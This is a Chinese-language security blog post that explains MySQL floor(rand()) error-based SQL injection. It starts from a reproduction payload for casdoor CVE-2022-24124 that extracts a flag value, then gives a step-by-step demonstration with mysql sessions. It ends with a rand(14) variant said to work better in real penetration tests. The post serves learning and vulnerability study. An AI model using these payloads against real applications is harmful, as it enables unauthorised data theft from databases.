xMay

xMay

A cyber-security researcher

sql注入-floor錯誤注入原理學習

緣起#

源自 casdoor-CVE-2022-24124 注入漏洞 payload 復現的疑惑#

/api/get-organizations? p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(select 123 from (select count (*), concat ((select (value) from flag limit 1),'~', floor (rand (14)*2)) x from (select 1 union all select 2) as t group by x) x) 

Q:為什麼這裡一定要用 floor (rand (14)*2)),rand 的參數換一個數字都不行?
A:文末會總結

Payload 一般長這樣#

select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

結果一般長這樣#

ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

前置#

創建一個表 那就叫 users 吧#

mysql> create database sqli;
Query OK, 1 row affected (0.02 sec)

mysql> use sqli;
Database changed

mysql> create table users (id int(3),username varchar(100),password varchar(100));
Query OK, 0 rows affected (0.06 sec)

mysql> desc users;
+----------+--------------+------+-----+---------+-------+
| Field    | Type         | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id       | int(3)       | YES  |     | NULL    |       |
| username | varchar(100) | YES  |     | NULL    |       |
| password | varchar(100) | YES  |     | NULL    |       |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.03 sec)

放幾條數據進去#

mysql> insert into users values(1,'admin',md5('123456'));
Query OK, 1 row affected (0.03 sec)

mysql> insert into users values(1,'laolao',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'guairui',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'jiangjiang',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'moss',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'ltpp',md5('12345'));
Query OK, 1 row affected (0.01 sec)

學學其中的函數#

As

1. 列的別名#

這裡用as關鍵字為idusernamepassword列分別指定了別名用戶ID用戶名密碼

mysql> select id as '用戶ID',username as '用戶名',password as '密碼' from users;
+----------+------------+----------------------------------+
| 用戶ID   | 用戶名     | 密碼                             |
+----------+------------+----------------------------------+
|        1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|        2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|        3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|        4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|        5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|        6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|        7 | year       | e358efa489f58062f10dd7316b65649e |
+----------+------------+----------------------------------+
7 rows in set (0.00 sec)

2. 表的別名#

mysql> desc employees;
+----------+-------------+------+-----+---------+-------+
| Field    | Type        | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| emp_id   | int(11)     | NO   | PRI | NULL    |       |
| emp_name | varchar(50) | YES  |     | NULL    |       |
| dept_id  | int(11)     | YES  | MUL | NULL    |       |
+----------+-------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

mysql> desc departments;
+-----------+-------------+------+-----+---------+-------+
| Field     | Type        | Null | Key | Default | Extra |
+-----------+-------------+------+-----+---------+-------+
| dept_id   | int(11)     | NO   | PRI | NULL    |       |
| dept_name | varchar(50) | YES  |     | NULL    |       |
+-----------+-------------+------+-----+---------+-------+
2 rows in set (0.01 sec)

此處給dept_name建立別名department,給employeesdepartments表分別建立ed別名。

內連接 -- INNER JOIN#

ON是用於指定連接兩個表的條件的 SQL 關鍵字,通常與JOIN一起使用。

mysql> SELECT e.emp_name, d.dept_name AS department
    -> FROM employees AS e
    -> INNER JOIN departments AS d
    -> ON e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name    | department  |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+

where 可以實現內連接和 on 限定條件同樣的效果,但並不推薦,因為它可能會形成笛卡爾積以及造成一些不可預測的問題

mysql> SELECT e.emp_name, d.dept_name
    -> FROM employees AS e, departments AS d
    -> WHERE e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name    | dept_name   |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+
6 rows in set (0.01 sec)

自然連接 -- NATURAL JOIN#

mysql> select e.emp_name,d.dept_name FROM employees as e NATURAL JOIN departments as d;
+-------------+-------------+
| emp_name    | dept_name   |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+
6 rows in set (0.00 sec)

自然連接與內連接的區別主要在條件的指定上,自然連接不需要指定條件,而內連接需要用 ON 或 USING 關鍵字限定條件。

自然連接會根據兩個表中的相通的列進行連接,它的缺點是可能會出現意料之外的結果。

USING 連接的優點是可以讓連接條件更加簡潔明瞭,但是由於連接條件必須是兩個表中的同名列,因此使用 USING 連接時可能會存在命名衝突的問題。因此,一般情況下建議使用 ON 連接來指定連接條件。

floor(rand(0)*2)

mysql> select count(*) from users group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

sqli1中的 1 便是來自於 floor (rand (0)*2),它說sqli1重複,那說明之前的表中已經有這個主鍵了。因為 database () 固定,我們繼續來看下產生 '1' 的這個 floor (rand (0)*2)

rand () 是一個數學函數,它返回一個隨機浮點值

mysql> select rand();
+---------------------+
| rand()              |
+---------------------+
| 0.31095878529451676 |
+---------------------+
1 row in set (0.01 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8337753562571252 |
+--------------------+
1 row in set (0.01 sec)

若指定一個整數參數 N,這個 N 稱作種子數(也被叫做隨機因子)。rand () 會根據這個種子數隨機生成來產生重複序列,也就是說在種子數相同的情況下,rand (N) 重複計算的值是相同的。

mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)

mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)

而它後面的 * 2,則是選定獲取數據的範圍 [0,2],其實就是乘以 2

mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
+--------------------+
2 rows in set (0.01 sec)

mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
+--------------------+
2 rows in set (0.00 sec)

floor () 同樣是一個數學函數,用作向下取整,返回不大於 x 的最大整數值,比如 floor (3.3) 返回 3,floor (-3.3) 返回 - 4

mysql> select floor(3.3),floor(-3.3);
+------------+-------------+
| floor(3.3) | floor(-3.3) |
+------------+-------------+
|          3 |          -4 |
+------------+-------------+
1 row in set (0.00 sec)

計算 users 表數據條數的次數,看看 floor (rand (0)*2) 的值

mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
7 rows in set (0.01 sec)

mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
7 rows in set (0.01 sec)

可以看到 rand (0) 的值確實是固定的。

concat()

concat 是字符串拼接函數,拼接多個字符串,如果字符串中含有 NULL 則返回 NULL

這樣來看,concat 後的結果應為 sqli0 或 sqli1。

group by 與 count (*)

count (*) 是一個聚合函數,返回值的數目。*通配符表示所有字段。

select count (*) from users 與 select count (column_name) from users 的區別是 count (*)不排除 NULL,而 count (column_name) 將會排除 NULL。

mysql> insert into users values(8,NULL,NULL);
Query OK, 1 row affected (0.02 sec)

mysql> select * from users;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|  2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|  3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|  4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|  5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|  6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|  7 | year       | e358efa489f58062f10dd7316b65649e |
|  8 | NULL       | NULL                                 |
+----+------------+----------------------------------+
8 rows in set (0.00 sec)

mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
|        8 |
+----------+
1 row in set (0.00 sec)

mysql> select count(username) from users;
+-----------------+
| count(username) |
+-----------------+
|               7 |
+-----------------+
1 row in set (0.01 sec)

先看看現在 users 表的數據

mysql> select * from users;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|  2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|  3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|  4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|  5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|  6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|  7 | year       | e358efa489f58062f10dd7316b65649e |
|  8 | admin      | c4ca4238a0b923820dcc509a6f75849b |
|  9 | bing       | c81e728d9d4c2f636f067f89cc14862c |
| 10 | admin      | d3d9446802a44259755d38e6d163e820 |
+----+------------+----------------------------------+
10 rows in set (0.01 sec)

通過 select count (*) from users group by username; 這條語句來了解 group by 的工作過程。

mysql> select count(*) from users group by username;
+----------+
| count(*) |
+----------+
|        3 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
+----------+
8 rows in set (0.01 sec)

group by 在執行時,會依次取出查詢表中的記錄並創建一個臨時表,group by 的參數便是該臨時表的主鍵。

如果臨時表中已經存在該主鍵,則將值 + 1,如果不存在,則將該主鍵插入到臨時表中,注意是插入!


第一次取到 username->admin,表中沒有該主鍵,則將 admin 插入到主鍵,count (*) 值計 1

第二次取到 username->laolao, 表中沒有該主鍵,則將 admin 插入到主鍵,count (*) 值計 1

...

當取到原表中第八條 admin 時,同樣將 admin 作為主鍵插入到臨時表中並將 count (*) 計 1

當取到第十條 admin 時,發現臨時表中已經有 admin 作為主鍵了,則直接 count (*) 加 1


可視化如下

mysql> CREATE TABLE temp_table
    -> SELECT username as 'key',count(*) from users group by username;
Query OK, 8 rows affected (0.05 sec)
Records: 8  Duplicates: 0  Warnings: 0

mysql> select * from temp_table;
+------------+----------+
| key        | count(*) |
+------------+----------+
| admin      |        3 |
| bing       |        1 |
| guairui    |        1 |
| jiangjiang |        1 |
| laolao     |        1 |
| ltpp       |        1 |
| moss       |        1 |
| year       |        1 |
+------------+----------+
8 rows in set (0.01 sec)

A:那為什麼不是這個結果,反而報了主鍵重複的錯誤呢?

Q:因為還有一個最重要的特性,就是 group by 和 rand () 使用時,如果臨時表中沒有改主鍵,則在插入前 rand () 會再計算一次(也就是兩次,也有說多次的)。就是這個特性導致了主鍵重複並報錯。

Payload 的執行流#

mysql> SELECT count(*)
    -> from users
    -> GROUP BY
    -> concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

在 payload 的執行中,當group by取第一條from表記錄時,此時group by的是sqli0,發現臨時表中並沒有sqli0的主鍵,注意這個時候,rand(0)*2會再計算一次,經floor()後,率先插入臨時表的主鍵不是sqli0,而是sqli1,並計數1

記錄KeyCount(*)floor(rand(0)*2)
Sqli000
1Sqli101
Sqli111
2Sqli010
Sqli121
3sqli131
sqli020
4sqli030
sqli141
5sqli151

繼續從 from 的表中取第三條記錄,再次計算 floor (rand (0)*2),結果為 0,與 database () 拼接為 sqli0,臨時表的主鍵中並不存在,在插入前,floor (rand (0)*2) 又計算一次,拼接後與 sqli1,但是是直接插入,即使臨時表中已經有了主鍵 sqli1 也硬要插入,從而導致主鍵重複報錯,也就是:ERROR 1062 (23000): Duplicate entry (條目) 'sqli1' for key 'group_key'。

優化#

Floor (rand (0)*2) 的值為 011011... 但其實第三次計算的結果我們已經不需要了,如果沒有 floor (rand (x)*2) 滿足 0101 或 1010,那麼 from 的表中有兩條數據就是可以報錯的。

經過多次實驗,發現 floor (rand (14)*2) 的值為 1010000..., 那麼我們創建一個只有兩條數據的表試一下看看

mysql> select * from test;
+------+-------+------------+
| id   | name  | tel        |
+------+-------+------------+
|    1 | test  | 1111111111 |
|    2 | test2 |  222222222 |
+------+-------+------------+
2 rows in set (0.01 sec)

mysql> select count(*) from test group by concat(database(),floor(rand(0)*2));
+----------+
| count(*) |
+----------+
|        2 |
+----------+
1 row in set (0.01 sec)

mysql> select count(*) from test group by concat(database(),floor(rand(14)*2));
ERROR 1062 (23000): Duplicate entry 'sqli0' for key 'group_key'

也就是說在實際滲透中,報錯注入使用 floor (rand (14)*2) 會比 rand (0) 效果要好。

而且如果說表中只存在一條數據,那這個時候報錯注入就沒法使用了,畢竟只有一條數據也不可能發生主鍵重複報錯。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。